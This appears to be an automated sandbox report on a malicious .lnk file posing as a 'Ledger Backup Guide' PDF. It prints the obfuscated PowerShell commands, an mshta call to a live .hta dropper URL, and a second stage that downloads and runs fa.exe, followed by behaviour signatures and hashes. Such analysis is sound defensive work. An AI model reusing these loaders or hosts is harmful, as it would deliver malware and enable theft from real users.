Analysis

  • max time kernel
    131s
  • max time network
    115s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/08/2024, 07:31

General

  • Target
    Ledger Backup Guide/Ledger Backup Guide.pdf.lnk
  • Size 3KB
  • Sample240825-jcdvxssfjh
  • SHA256 db8822b6a2dd963205143dfca7346b1c8cfc5e009de8254bd0e019c42ce34aac
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://94.154.172.166/rwrv/0508.hta

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Ledger Backup Guide\Ledger Backup Guide.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $Q='Am65sparv87hL0:t4./T2w91'; &(-join($Q[(955-951),(-933+933),(-658+670)])) =\ (-join($Q[(955-951),(-933+933),(-658+670)])); =\ *\ (-join($Q[(207-206),(955-951),(-256+267),(-435+450),(-933+933)])); foreach($u in @((-592+603),(-634+649),(382-367),(929-924),(830-816),(-90+108),(895-877),(-713+735),(-872+888),(276-259),(143-120),(-446+449),(939-923),(213-196),(-337+360),(351-341),(-835+855),(212-195),(365-342),(-695+697),(405-403),(-230+248),(307-300),(-540+561),(-130+137),(304-296),(-594+612),(1008-995),(-298+301),(195-182),(189-180),(-361+378),(-456+467),(724-709),(830-824))){$O+=$Q[$u]}; *\ $O;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4184
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" http://94.154.172.166/rwrv/0508.hta
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3172
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function USkZSTt($DHsoNB, $CLtGyujpn){[IO.File]::WriteAllBytes($DHsoNB, $CLtGyujpn)};function SRZQf($DHsoNB){if($DHsoNB.EndsWith((WxpJvEaZS @(32281,32335,32343,32343))) -eq $True){Start-Process (WxpJvEaZS @(32349,32352,32345,32335,32343,32343,32286,32285,32281,32336,32355,32336)) $DHsoNB}else{Start-Process $DHsoNB}};function TWYckVI($WPVzamN){$fwogpETUE = New-Object (WxpJvEaZS @(32313,32336,32351,32281,32322,32336,32333,32302,32343,32340,32336,32345,32351));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$CLtGyujpn = $fwogpETUE.DownloadData($WPVzamN);return $CLtGyujpn};function WxpJvEaZS($KPYQtbN){$osgBhuXl=32235;$lHtZmcpTk=$Null;foreach($VdylE in $KPYQtbN){$lHtZmcpTk+=[char]($VdylE-$osgBhuXl)};return $lHtZmcpTk};function LGcearH(){$KYYCxKXc = $env:APPDATA + '\';$qzIyDmmK = TWYckVI (WxpJvEaZS @(32339,32351,32351,32347,32350,32293,32282,32282,32354,32354,32354,32281,32344,32336,32335,32340,32332,32337,32340,32349,32336,32281,32334,32346,32344,32282,32337,32340,32343,32336,32330,32347,32349,32336,32344,32340,32352,32344,32282,32347,32286,32354,32349,32284,32342,32286,32289,32340,32354,32337,32341,32343,32290,32356,32282,32301,32332,32334,32342,32352,32347,32330,32306,32352,32340,32335,32336,32281,32347,32335,32337,32282,32337,32340,32343,32336));$VQISLWCL = $KYYCxKXc + 'file';USkZSTt $VQISLWCL $qzIyDmmK;SRZQf $VQISLWCL;;$LQABWtnx = TWYckVI (WxpJvEaZS @(32339,32351,32351,32347,32293,32282,32282,32292,32287,32281,32284,32288,32287,32281,32284,32290,32285,32281,32284,32289,32289,32282,32349,32354,32349,32353,32282,32337,32332,32281,32336,32355,32336));$eLnvmZH = $KYYCxKXc + 'fa.exe';USkZSTt $eLnvmZH $LQABWtnx;SRZQf $eLnvmZH;;;}LGcearH;
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Users\Admin\AppData\Roaming\fa.exe
            "C:\Users\Admin\AppData\Roaming\fa.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:2792
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4116

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5540f4ea6d18b1aa94a3349652133a4f6641d456757499b7ab12e7ee8f396134
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_tv4vrrps.1gf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tv4vrrps.1gf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        fa.exe

        • Path C:\Users\Admin\AppData\Roaming\fa.exe
        • Size 156KB
        • SHA256 41ffba55c3d4f5e91b55a889a6657272867d3c386cf9e81dc07b7ad8752e32e2
        • MD5 SHA1 SHA512 SSDEEP

        memory/4184-2-0x00007FF8BD7B3000-0x00007FF8BD7B5000-memory.dmp

        memory/4184-3-0x0000018C1CDF0000-0x0000018C1CE12000-memory.dmp

        memory/4184-13-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

        memory/4184-14-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

        memory/4184-17-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp